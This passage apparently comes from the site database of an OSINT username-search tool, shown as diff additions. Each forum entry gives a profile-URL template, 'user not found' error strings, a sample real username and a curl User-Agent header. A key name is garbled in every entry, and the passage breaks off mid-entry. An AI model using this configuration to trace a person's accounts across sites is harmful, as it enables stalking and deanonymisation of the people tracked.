"Forum_northstandchat": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.northstandchat.com/members/?username={}", + "urlMain": "https://www.northstandchat.com", + "usernameON": "hitony", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nosmoking": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://nosmoking.ru/phpBB2/search.php?keywords=&terms=all&author={}", + "urlMain": "https://nosmoking.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_Not_606": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://not606.com/members/?username={}", + "urlMain": "https://not606.com", + "usernameON": "fromthestands", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nousch1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nousch1.ucoz.ru/index/8-0-{}", + "urlMain": "https://nousch1.ucoz.ru", + "usernameON": "Lostoff", + "bad_site": "" + }, + "Forum_novascotiahunting": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.novascotiahunting.com/members/?username={}", + "urlMain": "https://www.novascotiahunting.com", + "usernameON": "3macs1", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novelupdates": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.novelupdates.com/members/?username={}", + "urlMain": "https://forum.novelupdates.com", + "usernameON": "lilly2805", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novelupdatesforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.novelupdatesforum.com/members/?username={}", + "urlMain": "https://www.novelupdatesforum.com", + "usernameON": "parth37955", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "К сожалению, возникла проблема", + "errorTyp��": "message", + "url": "https://novfishing.ru/search/?&q={}&type=core_members", + "urlMain": "https://novfishing.ru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_novoe-chelovech": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://novoe-chelovech.ucoz.ru/index/8-0-{}", + "urlMain": "http://novoe-chelovech.ucoz.ru", + "usernameON": "Asteroidbum", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_novokrasnyanka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://novokrasnyanka.ucoz.ua/index/8-0-{}", + "urlMain": "https://novokrasnyanka.ucoz.ua", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_novsevkuchino": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://novsevkuchino.my1.ru/index/8-0-{}", + "urlMain": "https://novsevkuchino.my1.ru", + "usernameON": "Zews", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_npest": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://npest.moy.su/index/8-0-{}", + "urlMain": "https://npest.moy.su", + "usernameON": "Juku", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nsk-cb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Insufficient Storage", + "errorTyp��": "message", + "url": "http://forum.nsk-cb.ru/memberlist.php?username={}", + "urlMain": "http://forum.nsk-cb.ru", + "usernameON": "abjectradical82", + "bad_site": "" + }, + "Forum_nsk_clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nsk.clan.su/index/8-0-{}", + "urlMain": "https://nsk.clan.su", + "usernameON": "Elnor", + "bad_site": "" + }, + "Forum_nsu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://forum.nsu.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.nsu.ru", + "usernameON": "Znaika", + "bad_site": 1 + }, + "Forum_ntc_party": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ntc.party/u/{}", + "urlMain": "https://ntc.party", + "usernameON": "tango", + "bad_site": "" + }, + "Forum_nudostar": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nudostar.com/forum/members/?username={}", + "urlMain": "https://nudostar.com", + "usernameON": "ahmedhananii", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nulled_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.nulled.to/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_content=both&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term=&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=title&search_app_filters[members][members][sortDir]=", + "urlMain": "https://www.nulled.to", + "usernameON": "crybaby20240", + "bad_site": 1 + }, + "Forum_numis": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.numisforums.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.numisforums.com", + "usernameON": "rasiel", + "bad_site": "" + }, + "Forum_nunchaku": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorTyp��": "message", + "url": "https://forum.nvworld.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.nvworld.ru", + "usernameON": "epddsns", + "bad_site": "" + }, + "Forum_nyangler": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nyangler.com/members/?username={}", + "urlMain": "https://nyangler.com", + "usernameON": "leprechaun", + "comments": "zamedlenie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nybass": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nybass.com/members/?username={}", + "urlMain": "https://www.nybass.com", + "usernameON": "jaysen", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nyccnc": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Oops", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://nyccnc.com/forums/users/{}/", + "urlMain": "https://nyccnc.com/", + "usernameON": "ltborg", + "bad_site": "" + }, + "Forum_nycfire": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nycfire.net/forums/members/?username={}", + "urlMain": "https://www.nycfire.net", + "usernameON": "signal73", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_obama_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obama.ucoz.ru/index/8-0-{}", + "urlMain": "https://obama.ucoz.ru", + "usernameON": "uKc", + "bad_site": "" + }, + "Forum_obkon": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obkon.ucoz.com/index/8-0-{}", + "urlMain": "https://obkon.ucoz.com", + "usernameON": "ninokids", + "bad_site": "" + }, + "Forum_obninskchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Page not found", + "errorMsg2": "404", + "errorTyp��": "message", + "url": "https://chessiki.ru/forums/profile/{}", + "urlMain": "https://chessiki.ru/", + "usernameON": "lvdraphael", + "bad_site": "" + }, + "Forum_obovcem": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obovcem.ucoz.ru/index/8-0-{}", + "urlMain": "https://obovcem.ucoz.ru/", + "usernameON": "Obovcem", + "bad_site": "" + }, + "Forum_obovsem_piter": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obzhorkinsajt.ucoz.ru/index/8-0-{}", + "urlMain": "https://obzhorkinsajt.ucoz.ru", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_octothorp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.octothorp.team/user/{}", + "urlMain": "https://forum.octothorp.team", + "usernameON": "porkove", + "bad_site": "" + }, + "Forum_odessacrewing": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://odessacrewing.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://odessacrewing.kamrbb.ru", + "usernameON": "csplus", + "bad_site": "" + }, + "Forum_odinhram": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odinhram.3dn.ru/index/8-0-{}", + "urlMain": "https://odinhram.3dn.ru", + "usernameON": "elenas", + "bad_site": "" + }, + "Forum_odinochestvo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odinochestvo.moy.su/index/8-0-{}", + "urlMain": "https://odinochestvo.moy.su", + "usernameON": "Marion", + "bad_site": "" + }, + "Forum_odnokursniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odnokursniki.clan.su/index/8-0-{}", + "urlMain": "https://odnokursniki.clan.su", + "usernameON": "vsetransport", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_odonvv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odonvv.ru/index/8-0-{}", + "urlMain": "https://odonvv.ru", + "usernameON": "Vodoley", + "bad_site": "" + }, + "Forum_officiating": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorMsg2": "Sorry", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://offthepost.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://offthepost.org", + "usernameON": "Bosc", + "bad_site": "" + }, + "Forum_ofo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ofo.ucoz.ru/index/8-0-{}", + "urlMain": "https://ofo.ucoz.ru", + "usernameON": "sudba", + "bad_site": "" + }, + "Forum_ogxbox": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.ogxbox.com/forums/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.ogxbox.com", + "usernameON": "dtomcat", + "bad_site": "" + }, + "Forum_ohiogamefishing": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiogamefishing.com/members/?username={}", + "urlMain": "https://www.ohiogamefishing.com", + "usernameON": "deadeyedeek", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohiosportsman": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiosportsman.com/members/?username={}", + "urlMain": "https://www.ohiosportsman.com", + "usernameON": "pbudi59", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohiowaterfowler": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiowaterfowlerforum.com/members/?username={}", + "urlMain": "https://www.ohiowaterfowlerforum.com", + "usernameON": "jimmy81", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohota-ribalka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ohota-ribalka.at.ua/index/8-0-{}", + "urlMain": "https://ohota-ribalka.at.ua", + "usernameON": "gratch79", + "bad_site": "" + }, + "Forum_ohrana-truda": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "0 результатов", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.ohrana-truda.by/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.ohrana-truda.by", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_oih_med": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "403 Forbidden", + "errorMsg2": "Пользователь не найден", + "errorTyp��": "message", + "url": "https://oih.at.ua/index/8-0-{}", + "urlMain": "https://oih.at.ua", + "usernameON": "fiorella", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_oil-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Just a moment", + "errorMsg2": "Found 0 results", + "errorMsg3": "Найдено 0", + "errorTyp��": "message", + "url": "https://www.oil-club.ru/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.oil-club.ru", + "usernameON": "tattoedarm", + "comments": "cf", + "bad_site": 1 + }, + "Forum_oilburners": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.oilburners.net/members/?username={}", + "urlMain": "https://www.oilburners.net", + "usernameON": "kansasidi", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oklahomahunter": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.oklahomahunter.net/members/?username={}", + "urlMain": "https://www.oklahomahunter.net", + "usernameON": "drc458", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_okna-7": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://okna-7.my1.ru/index/8-0-{}", + "urlMain": "https://okna-7.my1.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_old_ap": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://old.ap-pro.ru/index/8-0-{}", + "urlMain": "http://old.ap-pro.ru/", + "usernameON": "dkfllelfhtd", + "bad_site": "" + }, + "Forum_old_sukhoi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "robots\" content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://old.sukhoi.ru/forum/member.php?username={}", + "urlMain": "http://old.sukhoi.ru", + "usernameON": "GreyWind", + "bad_site": "" + }, + "Forum_oldbel-kovalevo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oldbel-kovalevo.ucoz.ru/index/8-0-{}", + "urlMain": "https://oldbel-kovalevo.ucoz.ru", + "usernameON": "skorodihin", + "bad_site": "" + }, + "Forum_oldclassiccar": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry,", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.oldclassiccar.co.uk/forum/phpbb/phpBB2/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.oldclassiccar.co.uk", + "usernameON": "davids", + "bad_site": "" + }, + "Forum_oldmeloman": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://oldmeloman.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://oldmeloman.kamrbb.ru", + "usernameON": "gustava", + "bad_site": "" + }, + "Forum_oldones": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.oldones.org/index/8-0-{}", + "urlMain": "http://www.oldones.org", + "usernameON": "rpavel693", + "comments": "bad", + "bad_site": 1 + }, + "forum_oldpokemon": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользователей", + "errorTyp��": "message", + "url": "https://forum.oldpokemon.ru/memberlist.php?sk=c&sd=a&username={}", + "urlMain": "https://forum.oldpokemon.ru", + "usernameON": "BisQuit", + "bad_site": 1 + }, + "Forum_olujaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://olujaz.ucoz.ru/index/8-0-{}", + "urlMain": "https://olujaz.ucoz.ru", + "usernameON": "ccbeclexanthirt", + "bad_site": "" + }, + "Forum_oluss": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oluss.at.ua/index/8-0-{}", + "urlMain": "https://oluss.at.ua", + "usernameON": "oluss", + "bad_site": "" + }, + "Forum_omaddiet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://omaddiet.com/community/members/?username={}", + "urlMain": "https://omaddiet.com", + "usernameON": "sumeria9", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_omega": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://omegaforums.net/members/?username={}", + "urlMain": "https://omegaforums.net", + "usernameON": "fsg", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oms": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oms.ucoz.com/index/8-0-{}", + "urlMain": "https://oms.ucoz.com", + "usernameON": "pysarievai", + "bad_site": "" + }, + "Forum_omskmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "ОмскМама", + "errorTyp��": "message", + "url": "https://forum.omskmama.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.omskmama.ru", + "usernameON": "vo24uk", + "bad_site": "" + }, + "Forum_onbankir": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://onbankir.moy.su/index/8-0-{}", + "urlMain": "https://onbankir.moy.su", + "usernameON": "burenokscody", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_oneclickchicks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "One Click Chicks Forum", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.oneclickchicks.com/member.php?username={}", + "urlMain": "https://forum.oneclickchicks.com", + "usernameON": "osreb", + "bad_site": "" + }, + "Forum_onefinitycnc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.onefinitycnc.com/u/{}/summary", + "urlMain": "https://forum.onefinitycnc.com/", + "usernameON": "tahoe1840", + "bad_site": "" + }, + "Forum_online-dendy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://online-dendy.ru/index/8-0-{}", + "urlMain": "http://online-dendy.ru", + "usernameON": "fumssHesy", + "bad_site": "" + }, + "Forum_online-knigi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://forum.online-knigi.com/members/?username={}", + "urlMain": "https://forum.online-knigi.com", + "usernameON": "brazilla", + "bad_site": 1, + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_online-money": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://online-money.3dn.ru/index/8-0-{}", + "urlMain": "https://online-money.3dn.ru", + "usernameON": "JafidNub", + "bad_site": "" + }, + "Forum_onlline-game_pp": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://onlline-game.pp.net.ua/index/8-0-{}", + "urlMain": "http://onlline-game.pp.net.ua", + "usernameON": "KREDO", + "bad_site": "" + }, + "Forum_onlyfans": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Not Found", + "errorMsg3": "Verification", + "errorTyp��": "message", + "url": "https://onlyfansforum.com/author/{}/", + "urlMain": "https://onlyfansforum.com", + "usernameON": "fapello", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_onlyrus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onlyrus.ucoz.net/index/8-0-{}", + "urlMain": "https://onlyrus.ucoz.net", + "usernameON": "gromovmail", + "bad_site": "" + }, + "Forum_onlytech": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://onlytech.com/community/members/?username={}", + "urlMain": "https://onlytech.com", + "usernameON": "davidjohn91", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_onru": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onru.my1.ru/index/8-0-{}", + "urlMain": "https://onru.my1.ru", + "usernameON": "Heavy", + "bad_site": "" + }, + "Forum_onz-shot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onz-shot.3dn.ru/index/8-0-{}", + "urlMain": "https://onz-shot.3dn.ru", + "usernameON": "WezhewBlesy", + "bad_site": "" + }, + "Forum_oopkmoskva": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oopkmoskva.ucoz.ru/index/8-0-{}", + "urlMain": "https://oopkmoskva.ucoz.ru", + "usernameON": "standartserves", + "bad_site": "" + }, + "Forum_open-chess": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://www.open-chess.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.open-chess.org", + "usernameON": "karakaniec", + "bad_site": "" + }, + "Forum_open_vanillaforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://open.vanillaforums.com/profile/{}", + "urlMain": "https://open.vanillaforums.com", + "usernameON": "haryono", + "bad_site": "" + }, + "Forum_openai": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://community.openai.com/u/{}", + "urlMain": "https://community.openai.com", + "usernameON": "haktan", + "bad_site": "" + }, + "Forum_openframeworks": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://forum.openframeworks.cc/u/{}/summary", + "urlMain": "https://forum.openframeworks.cc", + "usernameON": "red", + "bad_site": "" + }, + "Forum_opennebula": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.inductiveautomation.com/u/{}/summary", + "urlMain": "https://forum.opennebula.io", + "usernameON": "vani161998", + "bad_site": "" + }, + "Forum_openoffice": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://forum.openoffice.org/en/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.openoffice.org", + "usernameON": "Diane9576", + "bad_site": "" + }, + "Forum_openstreetmap": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.openstreetmap.fr/u/{}/summary", + "urlMain": "https://forum.openstreetmap.fr", + "usernameON": "gendy54", + "bad_site": "" + }, + "Forum_opensuse": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.opensuse.org/u/{}/summary", + "urlMain": "https://forums.opensuse.org", + "usernameON": "someuser7852", + "bad_site": "" + }, + "Forum_openwrt": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "data-preloaded=\"{"search":"{\\"posts\\":[],\\"users\\":[]", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.openwrt.org/search?q={}&search_type=users", + "urlMain": "https://forum.openwrt.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_optima": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.optimaforums.com/members/?username={}", + "urlMain": "https://www.optimaforums.com", + "usernameON": "aiden15", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_optina": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.optina.ru/search/?q={}&type=core_members", + "urlMain": "https://forum.optina.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_oranj": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oranj.3dn.ru/index/8-0-{}", + "urlMain": "https://oranj.3dn.ru", + "usernameON": "kraudsmart803", + "bad_site": "" + }, + "Forum_orbiter": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.orbiter-forum.com/members/?username={}", + "urlMain": "https://www.orbiter-forum.com/", + "usernameON": "dgatsoulis", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_orbito": { + "country": "🇷🇺", + "country_klas": "RU", + 